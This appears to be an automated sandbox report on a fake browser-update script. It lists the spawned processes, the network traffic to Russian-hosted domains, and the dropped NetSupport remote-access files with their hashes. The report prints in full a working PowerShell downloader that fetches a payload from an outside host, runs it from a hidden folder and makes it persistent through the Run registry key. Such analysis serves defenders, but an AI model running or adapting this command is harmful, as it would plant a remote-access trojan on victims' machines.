wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $PjcmWSnsXSDEwbBRuAogQ='https://ghostcitygames.com/data.php?5488';$UEkhXuQbhRYarB=(New-Object System.Net.WebClient).DownloadString($PjcmWSnsXSDEwbBRuAogQ);$fjhFqDfAWAlrzhAXmFluccfozzC=[System.Convert]::FromBase64String($UEkhXuQbhRYarB);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $tArSLttfspgESeJzarJcrgtXTFrBtFpuk=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk -PathType Container)) { New-Item -Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk -ItemType Directory };$p=Join-Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk 'lol.zip';[System.IO.File]::WriteAllBytes($p,$fjhFqDfAWAlrzhAXmFluccfozzC);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$tArSLttfspgESeJzarJcrgtXTFrBtFpuk)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $tArSLttfspgESeJzarJcrgtXTFrBtFpuk -Force; $FSDFSSD.attributes='Hidden';$s=$tArSLttfspgESeJzarJcrgtXTFrBtFpuk+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ripnoticebook.com | udp |
| RU | 91.219.150.105:443 | ripnoticebook.com | tcp |
| US | 8.8.8.8:53 | 105.150.219.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ghostcitygames.com | udp |
| RU | 91.219.150.112:443 | ghostcitygames.com | tcp |
| US | 8.8.8.8:53 | 112.150.219.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| MD | 5.181.156.45:443 | tcp | |
| US | 104.26.0.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 231.0.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 45.156.181.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.173.189.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.178.17.96.in-addr.arpa | udp |
Files
memory/2596-4-0x000001F3967F0000-0x000001F396812000-memory.dmp
memory/2596-5-0x00007FFACB6C0000-0x00007FFACC0AC000-memory.dmp
memory/2596-8-0x000001F3AEB20000-0x000001F3AEB30000-memory.dmp
memory/2596-6-0x000001F3AEB20000-0x000001F3AEB30000-memory.dmp
memory/2596-10-0x000001F3AEC30000-0x000001F3AECA6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jlxjhd0z.nd5.ps1
| MD5 | c4ca4238a0b923820dcc509a6f75849b |
| SHA1 | 356a192b7913b04c54574d18c28d46e6395428ab |
| SHA256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| SHA512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
memory/2596-25-0x000001F3AEB20000-0x000001F3AEB30000-memory.dmp
memory/2596-26-0x00007FFACB6C0000-0x00007FFACC0AC000-memory.dmp
memory/2596-44-0x000001F396880000-0x000001F39688A000-memory.dmp
memory/2596-45-0x000001F3968B0000-0x000001F3968C2000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX576\PCICL32.dll
| MD5 | d61b730abb9dfcbae47a97e7b6d67976 |
| SHA1 | d2b496cde1a68599c92298fb3949ca88c319bfc8 |
| SHA256 | 145eecb6b5d44c35dcfe511f5f4e443462ae2ed97569e554d022b7b02bf20d15 |
| SHA512 | bf6e9878a3b05be503d054cff5c972570f6d0e8d6cf62dac48beeb52fdb37ea48f70ce9f28ee3906206b98ca4c5e3c6703a098542ea11033e8df0aa4e0415c7c |
\Users\Admin\AppData\Roaming\DIVX576\PCICL32.DLL
| MD5 | 624ca1c1ce95aff868c1e3b3ed37c844 |
| SHA1 | f7e23eade16e148f5656bd4c6c2fcd2a1d31971f |
| SHA256 | 91c9fed857e3600227a5fc953bd5c2e8b8f515bef38309dffa8c9960c14c0c22 |
| SHA512 | 94538a6982b8d792f440899f6c4a9ba60f7e8cd90be66159ca1b35aadcb378e8098ef837c7aade09c10505e507e55ae029a642197d5e76c33b648427682924a3 |
C:\Users\Admin\AppData\Roaming\DIVX576\pcichek.dll
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\Roaming\DIVX576\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\Roaming\DIVX576\MSVCR100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\Roaming\DIVX576\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\Users\Admin\AppData\Roaming\DIVX576\client32.ini
| MD5 | 98043670d8c850e878e333312fcfa25a |
| SHA1 | dc795e8b906d70ee5854a6797e0c1557375bc443 |
| SHA256 | 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc |
| SHA512 | 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201 |
memory/2596-115-0x00007FFACB6C0000-0x00007FFACC0AC000-memory.dmp
\Users\Admin\AppData\Roaming\DIVX576\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |